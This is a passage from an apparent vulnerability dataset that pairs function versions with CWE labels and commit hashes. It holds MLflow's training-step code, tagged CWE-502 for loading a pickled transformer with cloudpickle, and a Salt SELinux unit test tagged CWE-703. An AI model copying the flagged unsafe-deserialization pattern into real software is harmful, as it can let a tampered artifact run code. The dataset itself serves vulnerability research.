            transformed_validation_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformed_validation_data.parquet"",
            )
            validation_df = pd.read_parquet(transformed_validation_data_path)

            raw_training_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""split"",
                relative_path=""train.parquet"",
            )
            raw_train_df = pd.read_parquet(raw_training_data_path)
            raw_X_train = raw_train_df.drop(columns=[self.target_col])

            raw_validation_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""split"",
                relative_path=""validation.parquet"",
            )
            raw_validation_df = pd.read_parquet(raw_validation_data_path)

            transformer_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformer.pkl"",
            )

            tags = {
                MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.RECIPE),
                MLFLOW_RECIPE_TEMPLATE_NAME: self.step_config[""recipe""],
                MLFLOW_RECIPE_PROFILE_NAME: self.step_config[""profile""],
                MLFLOW_RECIPE_STEP_NAME: MLFLOW_RECIPES_EXECUTION_TARGET_STEP_NAME.get(),
            }

            run_name = self.tracking_config.run_name
            best_estimator_params = None
            mlflow.autolog(log_models=False, silent=True)
            with mlflow.start_run(run_name=run_name, tags=tags) as run:
                estimator = self._resolve_estimator(
                    X_train, y_train, validation_df, run, output_directory
                )
                best_estimator_params = estimator.get_params()
                fitted_estimator, additional_fitted_args = self._fitted_estimator(
                    estimator, X_train, y_train
                )
                logged_estimator = self._log_estimator_to_mlflow(fitted_estimator, X_train)

                # Create a recipe consisting of the transformer+model for test data evaluation
                with open(transformer_path, ""rb"") as f:
                    transformer = cloudpickle.load(f)
                mlflow.sklearn.log_model(
                    transformer, ""transform/transformer"", code_paths=self.code_paths
                )

                trained_pipeline = make_pipeline(transformer, fitted_estimator)
                # Creating a wrapped recipe model which exposes a single predict function
                # so it can output both predict and predict_proba(for a classification problem)
                # at the same time.
                wrapped_model = WrappedRecipeModel(
                    self.predict_scores_for_all_classes,
                    self.predict_prefix,
                    target_column_class_labels=additional_fitted_args.get(
                        ""target_column_class_labels""
                    ),
                )

                model_uri = get_step_output_path(
                    recipe_root_path=self.recipe_root,
                    step_name=self.name,
                    relative_path=TrainStep.MODEL_ARTIFACT_RELATIVE_PATH,
                )
                sklearn_model_uri = get_step_output_path(
                    recipe_root_path=self.recipe_root,
                    step_name=self.name,
                    relative_path=TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH,
                )
                if os.path.exists(model_uri):
                    shutil.rmtree(model_uri)
                if os.path.exists(sklearn_model_uri):
                    shutil.rmtree(sklearn_model_uri)

                # Saving the sklearn model as a separate output since `mlflow.evaluate()`, which is
                # used in evaluate step of the recipe, needs this model's sklearn representation
                # to computes metrics (the pyfunc representation of the user-facing model logged to
                # MLflow Tracking is not currently compatible with `mlflow.evaluate()`)
                mlflow.sklearn.save_model(trained_pipeline, sklearn_model_uri)
                artifacts = {""model_path"": sklearn_model_uri}
                with TempDir() as tmp:
                    # Saving a temp model so that the output schema (signature) of the model's
                    # pyfunc representation can be inferred and included when logging the model
                    # to MLflow Tracking. Unfortunately, there is currently no easy way to infer
                    # the model's signature without first saving a copy of it, and there is no easy
                    # way to add an inferred signature to an existing model
                    pyfunc_model_tmp_path = os.path.join(tmp.path(), ""pyfunc_model"")
                    mlflow.pyfunc.save_model(
                        path=pyfunc_model_tmp_path,
                        python_model=wrapped_model,
                        artifacts=artifacts,
                    )
                    tempModel = mlflow.pyfunc.load_model(pyfunc_model_tmp_path)
                    model_schema = infer_signature(
                        raw_X_train, tempModel.predict(raw_X_train.copy())
                    )
                    mlflow.pyfunc.save_model(
                        path=model_uri,
                        python_model=wrapped_model,
                        artifacts=artifacts,
                        signature=model_schema,
                        code_path=self.code_paths,
                    )
                model = mlflow.pyfunc.load_model(model_uri)
                # Adding a sklearn flavor to the pyfunc model so models could be loaded easily
                # using mlflow.sklearn.load_model
                tmp_model_info = Model.load(model_uri)
                model_data_subpath = os.path.join(
                    ""artifacts"", TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH, ""model.pkl""
                )
                model_info = Model(
                    artifact_path=""train/model"",
                    run_id=run.info.run_id,
                    utc_time_created=tmp_model_info.utc_time_created,
                    flavors=tmp_model_info.flavors,
                    signature=tmp_model_info.signature,  # ModelSignature
                    saved_input_example_info=tmp_model_info.saved_input_example_info,
                    model_uuid=tmp_model_info.model_uuid,
                    mlflow_version=tmp_model_info.mlflow_version,
                    metadata=tmp_model_info.metadata,
                )
                model_info.add_flavor(
                    mlflow.sklearn.FLAVOR_NAME,
                    pickled_model=model_data_subpath,
                    sklearn_version=sklearn.__version__,
                    serialization_format=mlflow.sklearn.SERIALIZATION_FORMAT_CLOUDPICKLE,
                    code=""code"",
                )
                model_info.save(f""{model_uri}/MLmodel"")
                mlflow.log_artifacts(model_uri, ""train/model"")

                with open(os.path.join(output_directory, ""run_id""), ""w"") as f:
                    f.write(run.info.run_id)
                log_code_snapshot(
                    self.recipe_root, run.info.run_id, recipe_config=self.recipe_config
                )

                eval_metrics = {}
                for dataset_name, (dataset, metric_prefix) in {
                    ""training"": (train_df, ""training_""),
                    ""validation"": (validation_df, ""val_""),
                }.items():
                    eval_config = {
                        ""log_model_explainability"": False,
                        ""metric_prefix"": metric_prefix,
                    }
                    if self.positive_class is not None:
                        eval_config[""pos_label""] = self.positive_class
                    eval_result = mlflow.evaluate(
                        model=logged_estimator.model_uri,
                        data=dataset,
                        targets=self.target_col,
                        model_type=_get_model_type_from_template(self.recipe),
                        evaluators=""default"",
                        extra_metrics=_load_custom_metrics(
                            self.recipe_root,
                            self.evaluation_metrics.values(),
                        ),
                        evaluator_config=eval_config,
                    )
                    eval_result.save(os.path.join(output_directory, f""eval_{dataset_name}""))
                    eval_metrics[dataset_name] = {
                        strip_prefix(k, metric_prefix): v for k, v in eval_result.metrics.items()
                    }

            target_data = raw_validation_df[self.target_col]
            prediction_result = model.predict(raw_validation_df.drop(self.target_col, axis=1))

            use_probability_for_error_rate = False
            if isinstance(prediction_result, pd.DataFrame) and {
                f""{self.predict_prefix}label"",
                f""{self.predict_prefix}score"",
            }.issubset(prediction_result.columns):
                if self.positive_class:
                    prediction_result_for_error = prediction_result[
                        f""{self.predict_prefix}score_{self.positive_class}""
                    ].values
                    # use_probability_for_error_rate to true to compute error function
                    # based on positive class
                    use_probability_for_error_rate = True
                else:
                    prediction_result_for_error = prediction_result[
                        f""{self.predict_prefix}score""
                    ].values

                prediction_result = prediction_result[f""{self.predict_prefix}label""].values
            else:
                prediction_result_for_error = prediction_result
            error_fn = _get_error_fn(
                self.recipe,
                use_probability=use_probability_for_error_rate,
                positive_class=self.positive_class,
            )
            pred_and_error_df = pd.DataFrame(
                {
                    ""target"": target_data,
                    ""prediction"": prediction_result,
                    ""error"": error_fn(prediction_result_for_error, target_data.to_numpy()),
                }
            )
            calibrated_plot = None
            train_predictions = model.predict(raw_train_df.drop(self.target_col, axis=1))
            if isinstance(train_predictions, pd.DataFrame) and {
                f""{self.predict_prefix}label"",
                f""{self.predict_prefix}score"",
            }.issubset(train_predictions.columns):
                predicted_training_data = raw_train_df.assign(
                    predicted_data=train_predictions[f""{self.predict_prefix}label""],
                    predicted_score=train_predictions[f""{self.predict_prefix}score""].values,
                )
                if self.positive_class:
                    worst_examples_df = BaseStep._generate_worst_examples_dataframe(
                        raw_train_df,
                        train_predictions[f""{self.predict_prefix}label""].values,
                        error_fn(
                            train_predictions[
                                f""{self.predict_prefix}score_{self.positive_class}""
                            ].values,
                            raw_train_df[self.target_col].to_numpy(),
                        ),
                        self.target_col,
                    )

                    if ""calibrate_proba"" in self.step_config and hasattr(
                        additional_fitted_args.get(""original_estimator""), ""predict_proba""
                    ):
                        from sklearn.calibration import CalibrationDisplay

                        calibrated_plot = CalibrationDisplay.from_estimator(
                            additional_fitted_args.get(""original_estimator""),
                            raw_train_df.drop(self.target_col, axis=1),
                            raw_train_df[self.target_col],
                            pos_label=self.positive_class,
                        )
                else:
                    # compute worst examples data_frame only if positive class exists
                    worst_examples_df = pd.DataFrame()

            else:
                predicted_training_data = raw_train_df.assign(predicted_data=train_predictions)
                worst_examples_df = BaseStep._generate_worst_examples_dataframe(
                    raw_train_df,
                    train_predictions,
                    error_fn(train_predictions, raw_train_df[self.target_col].to_numpy()),
                    self.target_col,
                )
            predicted_training_data.to_parquet(
                os.path.join(output_directory, TrainStep.PREDICTED_TRAINING_DATA_RELATIVE_PATH)
            )

            leaderboard_df = None
            try:
                leaderboard_df = self._get_leaderboard_df(run, eval_metrics)
            except Exception as e:
                _logger.warning(
                    ""Failed to build model leaderboard due to unexpected failure: %s"", e
                )
            tuning_df = None
            if self.step_config[""tuning_enabled""]:
                try:
                    tuning_df = self._get_tuning_df(run, params=best_estimator_params.keys())
                except Exception as e:
                    _logger.warning(
                        ""Failed to build tuning results table due to unexpected failure: %s"", e
                    )

            card = self._build_step_card(
                eval_metrics=eval_metrics,
                pred_and_error_df=pred_and_error_df,
                model_schema=model_schema,
                run_id=run.info.run_id,
                model_uri=model_uri,
                worst_examples_df=worst_examples_df,
                train_df=raw_train_df,
                output_directory=output_directory,
                leaderboard_df=leaderboard_df,
                tuning_df=tuning_df,
                calibrated_plot=calibrated_plot,
            )
            card.save_as_html(output_directory)
            for step_name in (""ingest"", ""split"", ""transform"", ""train""):
                self._log_step_card(run.info.run_id, step_name)
            return card
        finally:
            warnings.warn = original_warn",CWE-502,mlflow/mlflow,690465ad0143d76ae13e9795244ccb6005b431c4,"def _run(self, output_directory):
        def my_warn(*args, **kwargs):
            timestamp = datetime.datetime.now().strftime(""%Y/%m/%d %H:%M:%S"")
            stacklevel = 1 if ""stacklevel"" not in kwargs else kwargs[""stacklevel""]
            frame = sys._getframe(stacklevel)
            filename = frame.f_code.co_filename
            lineno = frame.f_lineno
            message = f""{timestamp} {filename}:{lineno}: {args[0]}\n""
            with open(os.path.join(output_directory, ""warning_logs.txt""), ""a"") as f:
                f.write(message)

        original_warn = warnings.warn
        warnings.warn = my_warn
        try:
            import numpy as np
            import pandas as pd
            import sklearn
            from sklearn.pipeline import make_pipeline
            from sklearn.utils.class_weight import compute_class_weight

            from mlflow.models import infer_signature

            with open(os.path.join(output_directory, ""warning_logs.txt""), ""w""):
                pass

            apply_recipe_tracking_config(self.tracking_config)

            transformed_training_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformed_training_data.parquet"",
            )
            train_df = pd.read_parquet(transformed_training_data_path)
            validate_classification_config(
                self.task, self.positive_class, train_df, self.target_col
            )
            self.using_rebalancing = False
            if self.extended_task == ""classification/binary"":
                classes = np.unique(train_df[self.target_col])
                class_weights = compute_class_weight(
                    class_weight=""balanced"",
                    classes=classes,
                    y=train_df[self.target_col],
                )
                self.original_class_weights = dict(zip(classes, class_weights))
                if self.rebalance_training_data and len(classes) == 2:
                    if len(train_df) > _REBALANCING_CUTOFF:
                        self.using_rebalancing = True
                        train_df = self._rebalance_classes(train_df)
                    else:
                        _logger.info(
                            f""Training data has less than {_REBALANCING_CUTOFF} rows, ""
                            f""skipping rebalancing.""
                        )

            X_train, y_train = train_df.drop(columns=[self.target_col]), train_df[self.target_col]

            transformed_validation_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformed_validation_data.parquet"",
            )
            validation_df = pd.read_parquet(transformed_validation_data_path)

            raw_training_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""split"",
                relative_path=""train.parquet"",
            )
            raw_train_df = pd.read_parquet(raw_training_data_path)
            raw_X_train = raw_train_df.drop(columns=[self.target_col])

            raw_validation_data_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""split"",
                relative_path=""validation.parquet"",
            )
            raw_validation_df = pd.read_parquet(raw_validation_data_path)

            transformer_path = get_step_output_path(
                recipe_root_path=self.recipe_root,
                step_name=""transform"",
                relative_path=""transformer.pkl"",
            )

            tags = {
                MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.RECIPE),
                MLFLOW_RECIPE_TEMPLATE_NAME: self.step_config[""recipe""],
                MLFLOW_RECIPE_PROFILE_NAME: self.step_config[""profile""],
                MLFLOW_RECIPE_STEP_NAME: MLFLOW_RECIPES_EXECUTION_TARGET_STEP_NAME.get(),
            }

            run_name = self.tracking_config.run_name
            best_estimator_params = None
            mlflow.autolog(log_models=False, silent=True)
            with mlflow.start_run(run_name=run_name, tags=tags) as run:
                estimator = self._resolve_estimator(
                    X_train, y_train, validation_df, run, output_directory
                )
                fitted_estimator, additional_fitted_args = self._fitted_estimator(
                    estimator, X_train, y_train
                )
                logged_estimator = self._log_estimator_to_mlflow(fitted_estimator, X_train)

                # Create a recipe consisting of the transformer+model for test data evaluation
                with open(transformer_path, ""rb"") as f:
                    transformer = cloudpickle.load(f)
                mlflow.sklearn.log_model(
                    transformer, ""transform/transformer"", code_paths=self.code_paths
                )

                trained_pipeline = make_pipeline(transformer, fitted_estimator)
                # Creating a wrapped recipe model which exposes a single predict function
                # so it can output both predict and predict_proba(for a classification problem)
                # at the same time.
                wrapped_model = WrappedRecipeModel(
                    self.predict_scores_for_all_classes,
                    self.predict_prefix,
                    target_column_class_labels=additional_fitted_args.get(
                        ""target_column_class_labels""
                    ),
                )

                model_uri = get_step_output_path(
                    recipe_root_path=self.recipe_root,
                    step_name=self.name,
                    relative_path=TrainStep.MODEL_ARTIFACT_RELATIVE_PATH,
                )
                sklearn_model_uri = get_step_output_path(
                    recipe_root_path=self.recipe_root,
                    step_name=self.name,
                    relative_path=TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH,
                )
                if os.path.exists(model_uri):
                    shutil.rmtree(model_uri)
                if os.path.exists(sklearn_model_uri):
                    shutil.rmtree(sklearn_model_uri)

                # Saving the sklearn model as a separate output since `mlflow.evaluate()`, which is
                # used in evaluate step of the recipe, needs this model's sklearn representation
                # to computes metrics (the pyfunc representation of the user-facing model logged to
                # MLflow Tracking is not currently compatible with `mlflow.evaluate()`)
                mlflow.sklearn.save_model(trained_pipeline, sklearn_model_uri)
                artifacts = {""model_path"": sklearn_model_uri}
                with TempDir() as tmp:
                    # Saving a temp model so that the output schema (signature) of the model's
                    # pyfunc representation can be inferred and included when logging the model
                    # to MLflow Tracking. Unfortunately, there is currently no easy way to infer
                    # the model's signature without first saving a copy of it, and there is no easy
                    # way to add an inferred signature to an existing model
                    pyfunc_model_tmp_path = os.path.join(tmp.path(), ""pyfunc_model"")
                    mlflow.pyfunc.save_model(
                        path=pyfunc_model_tmp_path,
                        python_model=wrapped_model,
                        artifacts=artifacts,
                    )
                    tempModel = mlflow.pyfunc.load_model(pyfunc_model_tmp_path)
                    model_schema = infer_signature(
                        raw_X_train, tempModel.predict(raw_X_train.copy())
                    )
                    mlflow.pyfunc.save_model(
                        path=model_uri,
                        python_model=wrapped_model,
                        artifacts=artifacts,
                        signature=model_schema,
                        code_path=self.code_paths,
                    )
                model = mlflow.pyfunc.load_model(model_uri)
                # Adding a sklearn flavor to the pyfunc model so models could be loaded easily
                # using mlflow.sklearn.load_model
                tmp_model_info = Model.load(model_uri)
                model_data_subpath = os.path.join(
                    ""artifacts"", TrainStep.SKLEARN_MODEL_ARTIFACT_RELATIVE_PATH, ""model.pkl""
                )
                model_info = Model(
                    artifact_path=""train/model"",
                    run_id=run.info.run_id,
                    utc_time_created=tmp_model_info.utc_time_created,
                    flavors=tmp_model_info.flavors,
                    signature=tmp_model_info.signature,  # ModelSignature
                    saved_input_example_info=tmp_model_info.saved_input_example_info,
                    model_uuid=tmp_model_info.model_uuid,
                    mlflow_version=tmp_model_info.mlflow_version,
                    metadata=tmp_model_info.metadata,
                )
                model_info.add_flavor(
                    mlflow.sklearn.FLAVOR_NAME,
                    pickled_model=model_data_subpath,
                    sklearn_version=sklearn.__version__,
                    serialization_format=mlflow.sklearn.SERIALIZATION_FORMAT_CLOUDPICKLE,
                    code=""code"",
                )
                model_info.save(f""{model_uri}/MLmodel"")
                mlflow.log_artifacts(model_uri, ""train/model"")

                with open(os.path.join(output_directory, ""run_id""), ""w"") as f:
                    f.write(run.info.run_id)
                log_code_snapshot(
                    self.recipe_root, run.info.run_id, recipe_config=self.recipe_config
                )

                eval_metrics = {}
                for dataset_name, (dataset, metric_prefix) in {
                    ""training"": (train_df, ""training_""),
                    ""validation"": (validation_df, ""val_""),
                }.items():
                    eval_config = {
                        ""log_model_explainability"": False,
                        ""metric_prefix"": metric_prefix,
                    }
                    if self.positive_class is not None:
                        eval_config[""pos_label""] = self.positive_class
                    eval_result = mlflow.evaluate(
                        model=logged_estimator.model_uri,
                        data=dataset,
                        targets=self.target_col,
                        model_type=_get_model_type_from_template(self.recipe),
                        evaluators=""default"",
                        extra_metrics=_load_custom_metrics(
                            self.recipe_root,
                            self.evaluation_metrics.values(),
                        ),
                        evaluator_config=eval_config,
                    )
                    eval_result.save(os.path.join(output_directory, f""eval_{dataset_name}""))
                    eval_metrics[dataset_name] = {
                        strip_prefix(k, metric_prefix): v for k, v in eval_result.metrics.items()
                    }

            target_data = raw_validation_df[self.target_col]
            prediction_result = model.predict(raw_validation_df.drop(self.target_col, axis=1))

            use_probability_for_error_rate = False
            if isinstance(prediction_result, pd.DataFrame) and {
                f""{self.predict_prefix}label"",
                f""{self.predict_prefix}score"",
            }.issubset(prediction_result.columns):
                if self.positive_class:
                    prediction_result_for_error = prediction_result[
                        f""{self.predict_prefix}score_{self.positive_class}""
                    ].values
                    # use_probability_for_error_rate to true to compute error function
                    # based on positive class
                    use_probability_for_error_rate = True
                else:
                    prediction_result_for_error = prediction_result[
                        f""{self.predict_prefix}score""
                    ].values

                prediction_result = prediction_result[f""{self.predict_prefix}label""].values
            else:
                prediction_result_for_error = prediction_result
            error_fn = _get_error_fn(
                self.recipe,
                use_probability=use_probability_for_error_rate,
                positive_class=self.positive_class,
            )
            pred_and_error_df = pd.DataFrame(
                {
                    ""target"": target_data,
                    ""prediction"": prediction_result,
                    ""error"": error_fn(prediction_result_for_error, target_data.to_numpy()),
                }
            )
            calibrated_plot = None
            train_predictions = model.predict(raw_train_df.drop(self.target_col, axis=1))
            if isinstance(train_predictions, pd.DataFrame) and {
                f""{self.predict_prefix}label"",
                f""{self.predict_prefix}score"",
            }.issubset(train_predictions.columns):
                predicted_training_data = raw_train_df.assign(
                    predicted_data=train_predictions[f""{self.predict_prefix}label""],
                    predicted_score=train_predictions[f""{self.predict_prefix}score""].values,
                )
                if self.positive_class:
                    worst_examples_df = BaseStep._generate_worst_examples_dataframe(
                        raw_train_df,
                        train_predictions[f""{self.predict_prefix}label""].values,
                        error_fn(
                            train_predictions[
                                f""{self.predict_prefix}score_{self.positive_class}""
                            ].values,
                            raw_train_df[self.target_col].to_numpy(),
                        ),
                        self.target_col,
                    )

                    if ""calibrate_proba"" in self.step_config and hasattr(
                        additional_fitted_args.get(""original_estimator""), ""predict_proba""
                    ):
                        from sklearn.calibration import CalibrationDisplay

                        calibrated_plot = CalibrationDisplay.from_estimator(
                            additional_fitted_args.get(""original_estimator""),
                            raw_train_df.drop(self.target_col, axis=1),
                            raw_train_df[self.target_col],
                            pos_label=self.positive_class,
                        )
                else:
                    # compute worst examples data_frame only if positive class exists
                    worst_examples_df = pd.DataFrame()

            else:
                predicted_training_data = raw_train_df.assign(predicted_data=train_predictions)
                worst_examples_df = BaseStep._generate_worst_examples_dataframe(
                    raw_train_df,
                    train_predictions,
                    error_fn(train_predictions, raw_train_df[self.target_col].to_numpy()),
                    self.target_col,
                )
            predicted_training_data.to_parquet(
                os.path.join(output_directory, TrainStep.PREDICTED_TRAINING_DATA_RELATIVE_PATH)
            )

            leaderboard_df = None
            try:
                leaderboard_df = self._get_leaderboard_df(run, eval_metrics)
            except Exception as e:
                _logger.warning(
                    ""Failed to build model leaderboard due to unexpected failure: %s"", e
                )
            tuning_df = None
            if self.step_config[""tuning_enabled""]:
                try:
                    tuning_df = self._get_tuning_df(run, params=best_estimator_params.keys())
                except Exception as e:
                    _logger.warning(
                        ""Failed to build tuning results table due to unexpected failure: %s"", e
                    )

            card = self._build_step_card(
                eval_metrics=eval_metrics,
                pred_and_error_df=pred_and_error_df,
                model_schema=model_schema,
                run_id=run.info.run_id,
                model_uri=model_uri,
                worst_examples_df=worst_examples_df,
                train_df=raw_train_df,
                output_directory=output_directory,
                leaderboard_df=leaderboard_df,
                tuning_df=tuning_df,
                calibrated_plot=calibrated_plot,
            )
            card.save_as_html(output_directory)
            for step_name in (""ingest"", ""split"", ""transform"", ""train""):
                self._log_step_card(run.info.run_id, step_name)
            return card
        finally:
            warnings.warn = original_warn"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_selinux.py,1,"def test_port_policy_present():
    """"""
    Test to set up an SELinux port.
    """"""
    name = ""tcp/8080""
    protocol = ""tcp""
    port = ""8080""
    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}

    # Test when already present with same sel_type
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        return_value={
            ""sel_type"": ""http_cache_port_t"",
            ""protocol"": ""tcp"",
            ""port"": ""8080"",
        }
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            comt = (
                f'SELinux policy for ""{name}"" already present '
                + 'with specified sel_type ""http_cache_port_t"", protocol ""None"" '
                + 'and port ""None"".'
            )
            ret.update({""comment"": comt, ""result"": True})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

            comt = (
                'SELinux policy for ""name"" already present '
                + f'with specified sel_type ""http_cache_port_t"", protocol ""{protocol}"" '
                + f'and port ""{port}"".'
            )
            ret.update({""comment"": comt, ""changes"": {}, ""result"": True, ""name"": ""name""})
            assert (
                selinux.port_policy_present(""name"", ""http_cache_port_t"", protocol, port)
                == ret
            )
            ret.update({""name"": name})

    # Test adding new port policy
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": True}):
            ret.update({""comment"": """", ""result"": None})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""comment"": """",
                    ""changes"": {
                        ""old"": None,
                        ""new"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

    # Test modifying policy to a new sel_type
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
            {""sel_type"": ""http_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": True}):
            ret.update({""comment"": """", ""changes"": {}, ""result"": None})
            assert selinux.port_policy_present(name, ""http_port_t"") == ret

        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""comment"": """",
                    ""changes"": {
                        ""old"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                        ""new"": {
                            ""sel_type"": ""http_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert selinux.port_policy_present(name, ""http_port_t"") == ret

    # Test adding new port policy with custom name and using protocol and port parameters
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8081""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""name"": ""required_protocol_port"",
                    ""comment"": """",
                    ""changes"": {
                        ""old"": None,
                        ""new"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8081"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert (
                selinux.port_policy_present(
                    ""required_protocol_port"",
                    ""http_cache_port_t"",
                    protocol=""tcp"",
                    port=""8081"",
                )
                == ret
            )

    # Test failure of adding new policy
    mock_add = MagicMock(return_value={""retcode"": 1})
    mock_modify = MagicMock(return_value={""retcode"": 1})
    mock_get = MagicMock(return_value=None)
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            comt = ""Error adding new policy: {'retcode': 1}""
            ret.update({""name"": name, ""comment"": comt, ""changes"": {}, ""result"": False})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret",CWE-703,saltstack/salt,628c0d271349b173b4af7c8bd9b88890c033a2ed,"def test_port_policy_present():
    """"""
    Test to set up an SELinux port.
    """"""
    name = ""tcp/8080""
    protocol = ""tcp""
    port = ""8080""
    ret = {""name"": name, ""changes"": {}, ""result"": False, ""comment"": """"}

    # Test when already present with same sel_type
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        return_value={
            ""sel_type"": ""http_cache_port_t"",
            ""protocol"": ""tcp"",
            ""port"": ""8080"",
        }
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": False}):
            comt = (
                f'SELinux policy for ""{name}"" already present '
                + f'with specified sel_type ""http_cache_port_t"", protocol ""None"" '
                + f'and port ""None"".'
            )
            ret.update({""comment"": comt, ""result"": True})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

            comt = (
                f'SELinux policy for ""name"" already present '
                + f'with specified sel_type ""http_cache_port_t"", protocol ""{protocol}"" '
                + f'and port ""{port}"".'
            )
            ret.update({""comment"": comt, ""changes"": {}, ""result"": True, ""name"": ""name""})
            assert (
                selinux.port_policy_present(""name"", ""http_cache_port_t"", protocol, port)
                == ret
            )
            ret.update({""name"": name})

    # Test adding new port policy
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": True}):
            ret.update({""comment"": """", ""result"": None})
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""comment"": """",
                    ""changes"": {
                        ""old"": None,
                        ""new"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert selinux.port_policy_present(name, ""http_cache_port_t"") == ret

    # Test modifying policy to a new sel_type
    mock_add = MagicMock(return_value={""retcode"": 0})
    mock_modify = MagicMock(return_value={""retcode"": 0})
    mock_get = MagicMock(
        side_effect=[
            None,
            None,
            {""sel_type"": ""http_cache_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
            {""sel_type"": ""http_port_t"", ""protocol"": ""tcp"", ""port"": ""8080""},
        ]
    )
    with patch.dict(
        selinux.__salt__,
        {
            ""selinux.port_get_policy"": mock_get,
            ""selinux.port_add_policy"": mock_add,
            ""selinux.port_modify_policy"": mock_modify,
        },
    ):
        with patch.dict(selinux.__opts__, {""test"": True}):
            ret.update({""comment"": """", ""changes"": {}, ""result"": None})
            assert selinux.port_policy_present(name, ""http_port_t"") == ret

        with patch.dict(selinux.__opts__, {""test"": False}):
            ret.update(
                {
                    ""comment"": """",
                    ""changes"": {
                        ""old"": {
                            ""sel_type"": ""http_cache_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                        ""new"": {
                            ""sel_type"": ""http_port_t"",
                            ""protocol"": ""tcp"",
                            ""port"": ""8080"",
                        },
                    },
                    ""result"": True,
                }
            )
            assert selinux.port_policy_present(name, ""http_port_t"") == ret

    # Test adding new port policy with custom name and using protocol and port parameters
